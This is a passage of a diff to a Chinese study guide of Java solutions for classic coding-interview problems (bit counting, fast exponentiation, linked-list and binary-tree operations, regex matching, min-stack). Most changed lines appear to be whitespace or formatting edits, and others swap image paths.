 [NowCoder](https://www.nowcoder.com/practice/8ee967e43c2c4ec193b040ea7fbb10b8?tpId=13&tqId=11164&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-输入一个整数，输出该数二进制表示中 1 的个数。
+输入一个整数，输出该数二进制表示中 1 的个数。
 
-### n&(n-1)
+### n&(n-1)
 
-该位运算去除 n 的位级表示中最低的那一位。
+该位运算去除 n 的位级表示中最低的那一位。
 
 ```
-n       : 10110100
-n-1     : 10110011
-n&(n-1) : 10110000
+n       : 10110100
+n-1     : 10110011
+n&(n-1) : 10110000
 ```
 
-时间复杂度：O(M)，其中 M 表示 1 的个数。
+时间复杂度：O(M)，其中 M 表示 1 的个数。
 
 
 ```java
-public int NumberOf1(int n) {
-    int cnt = 0;
-    while (n != 0) {
-        cnt++;
-        n &= (n - 1);
-    }
-    return cnt;
+public int NumberOf1(int n) {
+    int cnt = 0;
+    while (n != 0) {
+        cnt++;
+        n &= (n - 1);
+    }
+    return cnt;
 }
 ```
 
 
-### Integer.bitCount()
+### Integer.bitCount()
 
 ```java
-public int NumberOf1(int n) {
-    return Integer.bitCount(n);
+public int NumberOf1(int n) {
+    return Integer.bitCount(n);
 }
 ```
 
-# 16. 数值的整数次方
+# 16. 数值的整数次方
 
 [NowCoder](https://www.nowcoder.com/practice/1a834e5e3e1a4b7ba251417554e07c00?tpId=13&tqId=11165&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-给定一个 double 类型的浮点数 base 和 int 类型的整数 exponent，求 base 的 exponent 次方。
+给定一个 double 类型的浮点数 base 和 int 类型的整数 exponent，求 base 的 exponent 次方。
 
-## 解题思路
+## 解题思路
 
-下面的讨论中 x 代表 base，n 代表 exponent。
+下面的讨论中 x 代表 base，n 代表 exponent。
 
-$$ x^n=\left\{ \begin{array}{rcl} (x*x)^{n/2}  &&  { n\%2=0}\\ x*(x*x)^{n/2}  &&  { n\%2=1 } \end{array} \right. $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?x^n=\left\{\begin{array}{rcl}(x*x)^{n/2}&&{n\%2=0}\\x*(x*x)^{n/2}&&{n\%2=1}\end{array}\right."/></div> <br>
 
-因为 (x\*x)<sup>n/2</sup> 可以通过递归求解，并且每次递归 n 都减小一半，因此整个算法的时间复杂度为 O(logN)。
+因为 (x\*x)<sup>n/2</sup> 可以通过递归求解，并且每次递归 n 都减小一半，因此整个算法的时间复杂度为 O(logN)。
 
 ```java
-public double Power(double base, int exponent) {
-    if (exponent == 0)
-        return 1;
-    if (exponent == 1)
-        return base;
-    boolean isNegative = false;
-    if (exponent < 0) {
-        exponent = -exponent;
-        isNegative = true;
-    }
-    double pow = Power(base * base, exponent / 2);
-    if (exponent % 2 != 0)
-        pow = pow * base;
-    return isNegative ? 1 / pow : pow;
+public double Power(double base, int exponent) {
+    if (exponent == 0)
+        return 1;
+    if (exponent == 1)
+        return base;
+    boolean isNegative = false;
+    if (exponent < 0) {
+        exponent = -exponent;
+        isNegative = true;
+    }
+    double pow = Power(base * base, exponent / 2);
+    if (exponent % 2 != 0)
+        pow = pow * base;
+    return isNegative ? 1 / pow : pow;
 }
 ```
 
-# 17. 打印从 1 到最大的 n 位数
+# 17. 打印从 1 到最大的 n 位数
 
-## 题目描述
+## 题目描述
 
-输入数字 n，按顺序打印出从 1 到最大的 n 位十进制数。比如输入 3，则打印出 1、2、3 一直到最大的 3 位数即 999。
+输入数字 n，按顺序打印出从 1 到最大的 n 位十进制数。比如输入 3，则打印出 1、2、3 一直到最大的 3 位数即 999。
 
-## 解题思路
+## 解题思路
 
-由于 n 可能会非常大，因此不能直接用 int 表示数字，而是用 char 数组进行存储。
+由于 n 可能会非常大，因此不能直接用 int 表示数字，而是用 char 数组进行存储。
 
 使用回溯法得到所有的数。
 
 ```java
-public void print1ToMaxOfNDigits(int n) {
-    if (n <= 0)
-        return;
-    char[] number = new char[n];
-    print1ToMaxOfNDigits(number, 0);
+public void print1ToMaxOfNDigits(int n) {
+    if (n <= 0)
+        return;
+    char[] number = new char[n];
+    print1ToMaxOfNDigits(number, 0);
 }
 
-private void print1ToMaxOfNDigits(char[] number, int digit) {
-    if (digit == number.length) {
-        printNumber(number);
-        return;
-    }
-    for (int i = 0; i < 10; i++) {
-        number[digit] = (char) (i + '0');
-        print1ToMaxOfNDigits(number, digit + 1);
-    }
+private void print1ToMaxOfNDigits(char[] number, int digit) {
+    if (digit == number.length) {
+        printNumber(number);
+        return;
+    }
+    for (int i = 0; i < 10; i++) {
+        number[digit] = (char) (i + '0');
+        print1ToMaxOfNDigits(number, digit + 1);
+    }
 }
 
-private void printNumber(char[] number) {
-    int index = 0;
-    while (index < number.length && number[index] == '0')
-        index++;
-    while (index < number.length)
-        System.out.print(number[index++]);
-    System.out.println();
+private void printNumber(char[] number) {
+    int index = 0;
+    while (index < number.length && number[index] == '0')
+        index++;
+    while (index < number.length)
+        System.out.print(number[index++]);
+    System.out.println();
 }
 ```
 
-# 18.1 在 O(1) 时间内删除链表节点
+# 18.1 在 O(1) 时间内删除链表节点
 
-## 解题思路
+## 解题思路
 
-① 如果该节点不是尾节点，那么可以直接将下一个节点的值赋给该节点，然后令该节点指向下下个节点，再删除下一个节点，时间复杂度为 O(1)。
+① 如果该节点不是尾节点，那么可以直接将下一个节点的值赋给该节点，然后令该节点指向下下个节点，再删除下一个节点，时间复杂度为 O(1)。
 
-<img src="index_files/27ff9548-edb6-4465-92c8-7e6386e0b185.png" width="600"/>
+<div align="center"> <img src="pics/27ff9548-edb6-4465-92c8-7e6386e0b185.png" width="600"/> </div><br>
 
-② 否则，就需要先遍历链表，找到节点的前一个节点，然后让前一个节点指向 null，时间复杂度为 O(N)。
+② 否则，就需要先遍历链表，找到节点的前一个节点，然后让前一个节点指向 null，时间复杂度为 O(N)。
 
-<img src="index_files/280f7728-594f-4811-a03a-fa8d32c013da.png" width="600"/>
+<div align="center"> <img src="pics/280f7728-594f-4811-a03a-fa8d32c013da.png" width="600"/> </div><br>
 
-综上，如果进行 N 次操作，那么大约需要操作节点的次数为 N-1+N=2N-1，其中 N-1 表示 N-1 个不是尾节点的每个节点以 O(1) 的时间复杂度操作节点的总次数，N 表示 1 个尾节点以 O(N) 的时间复杂度操作节点的总次数。(2N-1)/N ~ 2，因此该算法的平均时间复杂度为 O(1)。
+综上，如果进行 N 次操作，那么大约需要操作节点的次数为 N-1+N=2N-1，其中 N-1 表示 N-1 个不是尾节点的每个节点以 O(1) 的时间复杂度操作节点的总次数，N 表示 1 个尾节点以 O(N) 的时间复杂度操作节点的总次数。(2N-1)/N \~ 2，因此该算法的平均时间复杂度为 O(1)。
 
 ```java
-public ListNode deleteNode(ListNode head, ListNode tobeDelete) {
-    if (head == null || tobeDelete == null)
-        return null;
-    if (tobeDelete.next != null) {
-        // 要删除的节点不是尾节点
-        ListNode next = tobeDelete.next;
-        tobeDelete.val = next.val;
-        tobeDelete.next = next.next;
-    } else {
-        ListNode cur = head;
-        while (cur.next != tobeDelete)
-            cur = cur.next;
-        cur.next = null;
-    }
-    return head;
+public ListNode deleteNode(ListNode head, ListNode tobeDelete) {
+    if (head == null || tobeDelete == null)
+        return null;
+    if (tobeDelete.next != null) {
+        // 要删除的节点不是尾节点
+        ListNode next = tobeDelete.next;
+        tobeDelete.val = next.val;
+        tobeDelete.next = next.next;
+    } else {
+        ListNode cur = head;
+        while (cur.next != tobeDelete)
+            cur = cur.next;
+        cur.next = null;
+    }
+    return head;
 }
 ```
 
-# 18.2 删除链表中重复的结点
+# 18.2 删除链表中重复的结点
 
 [NowCoder](https://www.nowcoder.com/practice/fc533c45b73a41b0b44ccba763f866ef?tpId=13&tqId=11209&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-<img src="index_files/8433fbb2-c35c-45ef-831d-e3ca42aebd51.png" width="500"/>
+<div align="center"> <img src="pics/8433fbb2-c35c-45ef-831d-e3ca42aebd51.png" width="500"/> </div><br>
 
-## 解题描述
+## 解题描述
 
 ```java
-public ListNode deleteDuplication(ListNode pHead) {
-    if (pHead == null || pHead.next == null)
-        return pHead;
-    ListNode next = pHead.next;
-    if (pHead.val == next.val) {
-        while (next != null && pHead.val == next.val)
-            next = next.next;
-        return deleteDuplication(next);
-    } else {
-        pHead.next = deleteDuplication(pHead.next);
-        return pHead;
-    }
+public ListNode deleteDuplication(ListNode pHead) {
+    if (pHead == null || pHead.next == null)
+        return pHead;
+    ListNode next = pHead.next;
+    if (pHead.val == next.val) {
+        while (next != null && pHead.val == next.val)
+            next = next.next;
+        return deleteDuplication(next);
+    } else {
+        pHead.next = deleteDuplication(pHead.next);
+        return pHead;
+    }
 }
 ```
 
-# 19. 正则表达式匹配
+# 19. 正则表达式匹配
 
 [NowCoder](https://www.nowcoder.com/practice/45327ae22b7b413ea21df13ee7d6429c?tpId=13&tqId=11205&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-请实现一个函数用来匹配包括 '.' 和 '\*' 的正则表达式。模式中的字符 '.' 表示任意一个字符，而 '\*' 表示它前面的字符可以出现任意次（包含 0 次）。
+请实现一个函数用来匹配包括 '.' 和 '\*' 的正则表达式。模式中的字符 '.' 表示任意一个字符，而 '\*' 表示它前面的字符可以出现任意次（包含 0 次）。
 
-在本题中，匹配是指字符串的所有字符匹配整个模式。例如，字符串 "aaa" 与模式 "a.a" 和 "ab\*ac\*a" 匹配，但是与 "aa.a" 和 "ab\*a" 均不匹配。
+在本题中，匹配是指字符串的所有字符匹配整个模式。例如，字符串 "aaa" 与模式 "a.a" 和 "ab\*ac\*a" 匹配，但是与 "aa.a" 和 "ab\*a" 均不匹配。
 
-## 解题思路
+## 解题思路
 
-应该注意到，'.' 是用来当做一个任意字符，而 '\*' 是用来重复前面的字符。这两个的作用不同，不能把 '.' 的作用和 '\*' 进行类比，从而把它当成重复前面字符一次。
+应该注意到，'.' 是用来当做一个任意字符，而 '\*' 是用来重复前面的字符。这两个的作用不同，不能把 '.' 的作用和 '\*' 进行类比，从而把它当成重复前面字符一次。
 
 ```java
-public boolean match(char[] str, char[] pattern) {
+public boolean match(char[] str, char[] pattern) {
 
-    int m = str.length, n = pattern.length;
-    boolean[][] dp = new boolean[m + 1][n + 1];
+    int m = str.length, n = pattern.length;
+    boolean[][] dp = new boolean[m + 1][n + 1];
 
-    dp[0][0] = true;
-    for (int i = 1; i <= n; i++)
-        if (pattern[i - 1] == '*')
-            dp[0][i] = dp[0][i - 2];
+    dp[0][0] = true;
+    for (int i = 1; i <= n; i++)
+        if (pattern[i - 1] == '*')
+            dp[0][i] = dp[0][i - 2];
 
-    for (int i = 1; i <= m; i++)
-        for (int j = 1; j <= n; j++)
-            if (str[i - 1] == pattern[j - 1] || pattern[j - 1] == '.')
-                dp[i][j] = dp[i - 1][j - 1];
-            else if (pattern[j - 1] == '*')
-                if (pattern[j - 2] == str[i - 1] || pattern[j - 2] == '.') {
-                    dp[i][j] |= dp[i][j - 1]; // a* counts as single a
-                    dp[i][j] |= dp[i - 1][j]; // a* counts as multiple a
-                    dp[i][j] |= dp[i][j - 2]; // a* counts as empty
-                } else
-                    dp[i][j] = dp[i][j - 2];   // a* only counts as empty
+    for (int i = 1; i <= m; i++)
+        for (int j = 1; j <= n; j++)
+            if (str[i - 1] == pattern[j - 1] || pattern[j - 1] == '.')
+                dp[i][j] = dp[i - 1][j - 1];
+            else if (pattern[j - 1] == '*')
+                if (pattern[j - 2] == str[i - 1] || pattern[j - 2] == '.') {
+                    dp[i][j] |= dp[i][j - 1]; // a* counts as single a
+                    dp[i][j] |= dp[i - 1][j]; // a* counts as multiple a
+                    dp[i][j] |= dp[i][j - 2]; // a* counts as empty
+                } else
+                    dp[i][j] = dp[i][j - 2];   // a* only counts as empty
 
-    return dp[m][n];
+    return dp[m][n];
 }
 ```
 
-# 20. 表示数值的字符串
+# 20. 表示数值的字符串
 
 [NowCoder](https://www.nowcoder.com/practice/6f8c901d091949a5837e24bb82a731f2?tpId=13&tqId=11206&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 ```html
 true
@@ -1008,1572 +1093,1572 @@ false
 ```
 
 
-## 解题思路
+## 解题思路
 
 使用正则表达式进行匹配。
 
 ```html
-[]  ： 字符集合
-()  ： 分组
-?   ： 重复 0 ~ 1
-+   ： 重复 1 ~ n
-*   ： 重复 0 ~ n
-.   ： 任意字符
-\\. ： 转义后的 .
-\\d ： 数字
+[]  ： 字符集合
+()  ： 分组
+?   ： 重复 0 ~ 1
++   ： 重复 1 ~ n
+*   ： 重复 0 ~ n
+.   ： 任意字符
+\\. ： 转义后的 .
+\\d ： 数字
 ```
 
 ```java
-public boolean isNumeric(char[] str) {
-    if (str == null || str.length == 0)
-        return false;
-    return new String(str).matches("[+-]?\\d*(\\.\\d+)?([eE][+-]?\\d+)?");
+public boolean isNumeric(char[] str) {
+    if (str == null || str.length == 0)
+        return false;
+    return new String(str).matches("[+-]?\\d*(\\.\\d+)?([eE][+-]?\\d+)?");
 }
 ```
 
-# 21. 调整数组顺序使奇数位于偶数前面
+# 21. 调整数组顺序使奇数位于偶数前面
 
 [NowCoder](https://www.nowcoder.com/practice/beb5aa231adc45b2a5dcc5b62c93f593?tpId=13&tqId=11166&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 需要保证奇数和奇数，偶数和偶数之间的相对位置不变，这和书本不太一样。
 
-## 解题思路
+## 解题思路
 
 ```java
-public void reOrderArray(int[] nums) {
-    // 奇数个数
-    int oddCnt = 0;
-    for (int val : nums)
-        if (val % 2 == 1)
-            oddCnt++;
-    int[] copy = nums.clone();
-    int i = 0, j = oddCnt;
-    for (int num : copy) {
-        if (num % 2 == 1)
-            nums[i++] = num;
-        else
-            nums[j++] = num;
-    }
+public void reOrderArray(int[] nums) {
+    // 奇数个数
+    int oddCnt = 0;
+    for (int val : nums)
+        if (val % 2 == 1)
+            oddCnt++;
+    int[] copy = nums.clone();
+    int i = 0, j = oddCnt;
+    for (int num : copy) {
+        if (num % 2 == 1)
+            nums[i++] = num;
+        else
+            nums[j++] = num;
+    }
 }
 ```
 
-# 22. 链表中倒数第 K 个结点
+# 22. 链表中倒数第 K 个结点
 
 [NowCoder](https://www.nowcoder.com/practice/529d3ae5a407492994ad2a246518148a?tpId=13&tqId=11167&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 解题思路
+## 解题思路
 
-设链表的长度为 N。设两个指针 P1 和 P2，先让 P1 移动 K 个节点，则还有 N - K 个节点可以移动。此时让 P1 和 P2 同时移动，可以知道当 P1 移动到链表结尾时，P2 移动到 N - K 个节点处，该位置就是倒数第 K 个节点。
+设链表的长度为 N。设两个指针 P1 和 P2，先让 P1 移动 K 个节点，则还有 N - K 个节点可以移动。此时让 P1 和 P2 同时移动，可以知道当 P1 移动到链表结尾时，P2 移动到 N - K 个节点处，该位置就是倒数第 K 个节点。
 
-<img src="index_files/ea2304ce-268b-4238-9486-4d8f8aea8ca4.png" width="500"/>
+<div align="center"> <img src="pics/ea2304ce-268b-4238-9486-4d8f8aea8ca4.png" width="500"/> </div><br>
 
 ```java
-public ListNode FindKthToTail(ListNode head, int k) {
-    if (head == null)
-        return null;
-    ListNode P1 = head;
-    while (P1 != null && k-- > 0)
-        P1 = P1.next;
-    if (k > 0)
-        return null;
-    ListNode P2 = head;
-    while (P1 != null) {
-        P1 = P1.next;
-        P2 = P2.next;
-    }
-    return P2;
+public ListNode FindKthToTail(ListNode head, int k) {
+    if (head == null)
+        return null;
+    ListNode P1 = head;
+    while (P1 != null && k-- > 0)
+        P1 = P1.next;
+    if (k > 0)
+        return null;
+    ListNode P2 = head;
+    while (P1 != null) {
+        P1 = P1.next;
+        P2 = P2.next;
+    }
+    return P2;
 }
 ```
 
-# 23. 链表中环的入口结点
+# 23. 链表中环的入口结点
 
 [NowCoder](https://www.nowcoder.com/practice/253d2c59ec3e4bc68da16833f79a38e4?tpId=13&tqId=11208&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 一个链表中包含环，请找出该链表的环的入口结点。要求不能使用额外的空间。
 
-## 解题思路
+## 解题思路
 
-使用双指针，一个指针 fast 每次移动两个节点，一个指针 slow 每次移动一个节点。因为存在环，所以两个指针必定相遇在环中的某个节点上。假设相遇点在下图的 z1 位置，此时 fast 移动的节点数为 x+2y+z，slow 为 x+y，由于 fast 速度比 slow 快一倍，因此 x+2y+z=2(x+y)，得到 x=z。
+使用双指针，一个指针 fast 每次移动两个节点，一个指针 slow 每次移动一个节点。因为存在环，所以两个指针必定相遇在环中的某个节点上。假设相遇点在下图的 z1 位置，此时 fast 移动的节点数为 x+2y+z，slow 为 x+y，由于 fast 速度比 slow 快一倍，因此 x+2y+z=2(x+y)，得到 x=z。
 
-在相遇点，slow 要到环的入口点还需要移动 z 个节点，如果让 fast 重新从头开始移动，并且速度变为每次移动一个节点，那么它到环入口点还需要移动 x 个节点。在上面已经推导出 x=z，因此 fast 和 slow 将在环入口点相遇。
+在相遇点，slow 要到环的入口点还需要移动 z 个节点，如果让 fast 重新从头开始移动，并且速度变为每次移动一个节点，那么它到环入口点还需要移动 x 个节点。在上面已经推导出 x=z，因此 fast 和 slow 将在环入口点相遇。
 
-<img src="index_files/d5d3b7ae-2712-412e-98f1-633ce6ec5955.png" width="500"/>
+<div align="center"> <img src="pics/d5d3b7ae-2712-412e-98f1-633ce6ec5955.png" width="500"/> </div><br>
 
 
 ```java
-public ListNode EntryNodeOfLoop(ListNode pHead) {
-    if (pHead == null || pHead.next == null)
-        return null;
-    ListNode slow = pHead, fast = pHead;
-    do {
-        fast = fast.next.next;
-        slow = slow.next;
-    } while (slow != fast);
-    fast = pHead;
-    while (slow != fast) {
-        slow = slow.next;
-        fast = fast.next;
-    }
-    return slow;
+public ListNode EntryNodeOfLoop(ListNode pHead) {
+    if (pHead == null || pHead.next == null)
+        return null;
+    ListNode slow = pHead, fast = pHead;
+    do {
+        fast = fast.next.next;
+        slow = slow.next;
+    } while (slow != fast);
+    fast = pHead;
+    while (slow != fast) {
+        slow = slow.next;
+        fast = fast.next;
+    }
+    return slow;
 }
 ```
 
-# 24. 反转链表
+# 24. 反转链表
 
 [NowCoder](https://www.nowcoder.com/practice/75e878df47f24fdc9dc3e400ec6058ca?tpId=13&tqId=11168&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 解题思路
+## 解题思路
 
-### 递归
+### 递归
 
 ```java
-public ListNode ReverseList(ListNode head) {
-    if (head == null || head.next == null)
-        return head;
-    ListNode next = head.next;
-    head.next = null;
-    ListNode newHead = ReverseList(next);
-    next.next = head;
-    return newHead;
+public ListNode ReverseList(ListNode head) {
+    if (head == null || head.next == null)
+        return head;
+    ListNode next = head.next;
+    head.next = null;
+    ListNode newHead = ReverseList(next);
+    next.next = head;
+    return newHead;
 }
 ```
 
-### 迭代
+### 迭代
 
 ```java
-public ListNode ReverseList(ListNode head) {
-    ListNode newList = new ListNode(-1);
-    while (head != null) {
-        ListNode next = head.next;
-        head.next = newList.next;
-        newList.next = head;
-        head = next;
-    }
-    return newList.next;
+public ListNode ReverseList(ListNode head) {
+    ListNode newList = new ListNode(-1);
+    while (head != null) {
+        ListNode next = head.next;
+        head.next = newList.next;
+        newList.next = head;
+        head = next;
+    }
+    return newList.next;
 }
 ```
 
-# 25. 合并两个排序的链表
+# 25. 合并两个排序的链表
 
 [NowCoder](https://www.nowcoder.com/practice/d8b6b4358f774294a89de2a6ac4d9337?tpId=13&tqId=11169&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-<img src="index_files/43f2cafa-3568-4a89-a895-4725666b94a6.png" width="500"/>
+<div align="center"> <img src="pics/43f2cafa-3568-4a89-a895-4725666b94a6.png" width="500"/> </div><br>
 
-## 解题思路
+## 解题思路
 
-### 递归
+### 递归
 
 ```java
-public ListNode Merge(ListNode list1, ListNode list2) {
-    if (list1 == null)
-        return list2;
-    if (list2 == null)
-        return list1;
-    if (list1.val <= list2.val) {
-        list1.next = Merge(list1.next, list2);
-        return list1;
-    } else {
-        list2.next = Merge(list1, list2.next);
-        return list2;
-    }
+public ListNode Merge(ListNode list1, ListNode list2) {
+    if (list1 == null)
+        return list2;
+    if (list2 == null)
+        return list1;
+    if (list1.val <= list2.val) {
+        list1.next = Merge(list1.next, list2);
+        return list1;
+    } else {
+        list2.next = Merge(list1, list2.next);
+        return list2;
+    }
 }
 ```
 
-### 迭代
+### 迭代
 
 ```java
-public ListNode Merge(ListNode list1, ListNode list2) {
-    ListNode head = new ListNode(-1);
-    ListNode cur = head;
-    while (list1 != null && list2 != null) {
-        if (list1.val <= list2.val) {
-            cur.next = list1;
-            list1 = list1.next;
-        } else {
-            cur.next = list2;
-            list2 = list2.next;
-        }
-        cur = cur.next;
-    }
-    if (list1 != null)
-        cur.next = list1;
-    if (list2 != null)
-        cur.next = list2;
-    return head.next;
+public ListNode Merge(ListNode list1, ListNode list2) {
+    ListNode head = new ListNode(-1);
+    ListNode cur = head;
+    while (list1 != null && list2 != null) {
+        if (list1.val <= list2.val) {
+            cur.next = list1;
+            list1 = list1.next;
+        } else {
+            cur.next = list2;
+            list2 = list2.next;
+        }
+        cur = cur.next;
+    }
+    if (list1 != null)
+        cur.next = list1;
+    if (list2 != null)
+        cur.next = list2;
+    return head.next;
 }
 ```
 
-# 26. 树的子结构
+# 26. 树的子结构
 
 [NowCoder](https://www.nowcoder.com/practice/6e196c44c7004d15b1610b9afca8bd88?tpId=13&tqId=11170&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-<img src="index_files/4583e24f-424b-4d50-8a14-2c38a1827d4a.png" width="500"/>
+<div align="center"> <img src="pics/4583e24f-424b-4d50-8a14-2c38a1827d4a.png" width="500"/> </div><br>
 
-## 解题思路
+## 解题思路
 
 ```java
-public boolean HasSubtree(TreeNode root1, TreeNode root2) {
-    if (root1 == null || root2 == null)
-        return false;
-    return isSubtreeWithRoot(root1, root2) || HasSubtree(root1.left, root2) || HasSubtree(root1.right, root2);
+public boolean HasSubtree(TreeNode root1, TreeNode root2) {
+    if (root1 == null || root2 == null)
+        return false;
+    return isSubtreeWithRoot(root1, root2) || HasSubtree(root1.left, root2) || HasSubtree(root1.right, root2);
 }
 
-private boolean isSubtreeWithRoot(TreeNode root1, TreeNode root2) {
-    if (root2 == null)
-        return true;
-    if (root1 == null)
-        return false;
-    if (root1.val != root2.val)
-        return false;
-    return isSubtreeWithRoot(root1.left, root2.left) && isSubtreeWithRoot(root1.right, root2.right);
+private boolean isSubtreeWithRoot(TreeNode root1, TreeNode root2) {
+    if (root2 == null)
+        return true;
+    if (root1 == null)
+        return false;
+    if (root1.val != root2.val)
+        return false;
+    return isSubtreeWithRoot(root1.left, root2.left) && isSubtreeWithRoot(root1.right, root2.right);
 }
 ```
 
-# 27. 二叉树的镜像
+# 27. 二叉树的镜像
 
 [NowCoder](https://www.nowcoder.com/practice/564f4c26aa584921bc75623e48ca3011?tpId=13&tqId=11171&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-<img src="index_files/a2d13178-f1ef-4811-a240-1fe95b55b1eb.png" width="300"/>
+<div align="center"> <img src="pics/a2d13178-f1ef-4811-a240-1fe95b55b1eb.png" width="300"/> </div><br>
 
-## 解题思路
+## 解题思路
 
 ```java
-public void Mirror(TreeNode root) {
-    if (root == null)
-        return;
-    swap(root);
-    Mirror(root.left);
-    Mirror(root.right);
+public void Mirror(TreeNode root) {
+    if (root == null)
+        return;
+    swap(root);
+    Mirror(root.left);
+    Mirror(root.right);
 }
 
-private void swap(TreeNode root) {
-    TreeNode t = root.left;
-    root.left = root.right;
-    root.right = t;
+private void swap(TreeNode root) {
+    TreeNode t = root.left;
+    root.left = root.right;
+    root.right = t;
 }
 ```
 
-# 28 对称的二叉树
+# 28 对称的二叉树
 
 [NowCder](https://www.nowcoder.com/practice/ff05d44dfdb04e1d83bdbdab320efbcb?tpId=13&tqId=11211&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-<img src="index_files/f42443e0-208d-41ea-be44-c7fd97d2e3bf.png" width="300"/>
+<div align="center"> <img src="pics/f42443e0-208d-41ea-be44-c7fd97d2e3bf.png" width="300"/> </div><br>
 
-## 解题思路
+## 解题思路
 
 ```java
-boolean isSymmetrical(TreeNode pRoot) {
-    if (pRoot == null)
-        return true;
-    return isSymmetrical(pRoot.left, pRoot.right);
+boolean isSymmetrical(TreeNode pRoot) {
+    if (pRoot == null)
+        return true;
+    return isSymmetrical(pRoot.left, pRoot.right);
 }
 
-boolean isSymmetrical(TreeNode t1, TreeNode t2) {
-    if (t1 == null && t2 == null)
-        return true;
-    if (t1 == null || t2 == null)
-        return false;
-    if (t1.val != t2.val)
-        return false;
-    return isSymmetrical(t1.left, t2.right) && isSymmetrical(t1.right, t2.left);
+boolean isSymmetrical(TreeNode t1, TreeNode t2) {
+    if (t1 == null && t2 == null)
+        return true;
+    if (t1 == null || t2 == null)
+        return false;
+    if (t1.val != t2.val)
+        return false;
+    return isSymmetrical(t1.left, t2.right) && isSymmetrical(t1.right, t2.left);
 }
 ```
 
-# 29. 顺时针打印矩阵
+# 29. 顺时针打印矩阵
 
 [NowCoder](https://www.nowcoder.com/practice/9b4c81a02cd34f76be2659fa0d54342a?tpId=13&tqId=11172&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-下图的矩阵顺时针打印结果为：1, 2, 3, 4, 8, 12, 16, 15, 14, 13, 9, 5, 6, 7, 11, 10
+下图的矩阵顺时针打印结果为：1, 2, 3, 4, 8, 12, 16, 15, 14, 13, 9, 5, 6, 7, 11, 10
 
-<img src="index_files/6539b9a4-2b24-4d10-8c94-2eb5aba1e296.png" width="300"/>
+<div align="center"> <img src="pics/6539b9a4-2b24-4d10-8c94-2eb5aba1e296.png" width="300"/> </div><br>
 
-## 解题思路
+## 解题思路
 
 ```java
-public ArrayList<Integer> printMatrix(int[][] matrix) {
-    ArrayList<Integer> ret = new ArrayList<>();
-    int r1 = 0, r2 = matrix.length - 1, c1 = 0, c2 = matrix[0].length - 1;
-    while (r1 <= r2 && c1 <= c2) {
-        for (int i = c1; i <= c2; i++)
-            ret.add(matrix[r1][i]);
-        for (int i = r1 + 1; i <= r2; i++)
-            ret.add(matrix[i][c2]);
-        if (r1 != r2)
-            for (int i = c2 - 1; i >= c1; i--)
-                ret.add(matrix[r2][i]);
-        if (c1 != c2)
-            for (int i = r2 - 1; i > r1; i--)
-                ret.add(matrix[i][c1]);
-        r1++; r2--; c1++; c2--;
-    }
-    return ret;
+public ArrayList<Integer> printMatrix(int[][] matrix) {
+    ArrayList<Integer> ret = new ArrayList<>();
+    int r1 = 0, r2 = matrix.length - 1, c1 = 0, c2 = matrix[0].length - 1;
+    while (r1 <= r2 && c1 <= c2) {
+        for (int i = c1; i <= c2; i++)
+            ret.add(matrix[r1][i]);
+        for (int i = r1 + 1; i <= r2; i++)
+            ret.add(matrix[i][c2]);
+        if (r1 != r2)
+            for (int i = c2 - 1; i >= c1; i--)
+                ret.add(matrix[r2][i]);
+        if (c1 != c2)
+            for (int i = r2 - 1; i > r1; i--)
+                ret.add(matrix[i][c1]);
+        r1++; r2--; c1++; c2--;
+    }
+    return ret;
 }
 ```
 
-# 30. 包含 min 函数的栈
+# 30. 包含 min 函数的栈
 
 [NowCoder](https://www.nowcoder.com/practice/4c776177d2c04c2494f2555c9fcc1e49?tpId=13&tqId=11173&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-定义栈的数据结构，请在该类型中实现一个能够得到栈最小元素的 min 函数。
+定义栈的数据结构，请在该类型中实现一个能够得到栈最小元素的 min 函数。
 
-## 解题思路
+## 解题思路
 
 ```java
-private Stack<Integer> dataStack = new Stack<>();
-private Stack<Integer> minStack = new Stack<>();
+private Stack<Integer> dataStack = new Stack<>();
+private Stack<Integer> minStack = new Stack<>();
 
-public void push(int node) {
-    dataStack.push(node);
-    minStack.push(minStack.isEmpty() ? node : Math.min(minStack.peek(), node));
+public void push(int node) {
+    dataStack.push(node);
+    minStack.push(minStack.isEmpty() ? node : Math.min(minStack.peek(), node));
 }
 
-public void pop() {
-    dataStack.pop();
-    minStack.pop();
+public void pop() {
+    dataStack.pop();
+    minStack.pop();
 }
 
-public int top() {
-    return dataStack.peek();
+public int top() {
+    return dataStack.peek();
 }
 
-public int min() {
-    return minStack.peek();
+public int min() {
+    return minStack.peek();
 }
 ```
 
-# 31. 栈的压入、弹出序列
+# 31. 栈的压入、弹出序列
 
 [NowCoder](https://www.nowcoder.com/practice/d77d11405cc7470d82554cb392585106?tpId=13&tqId=11174&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
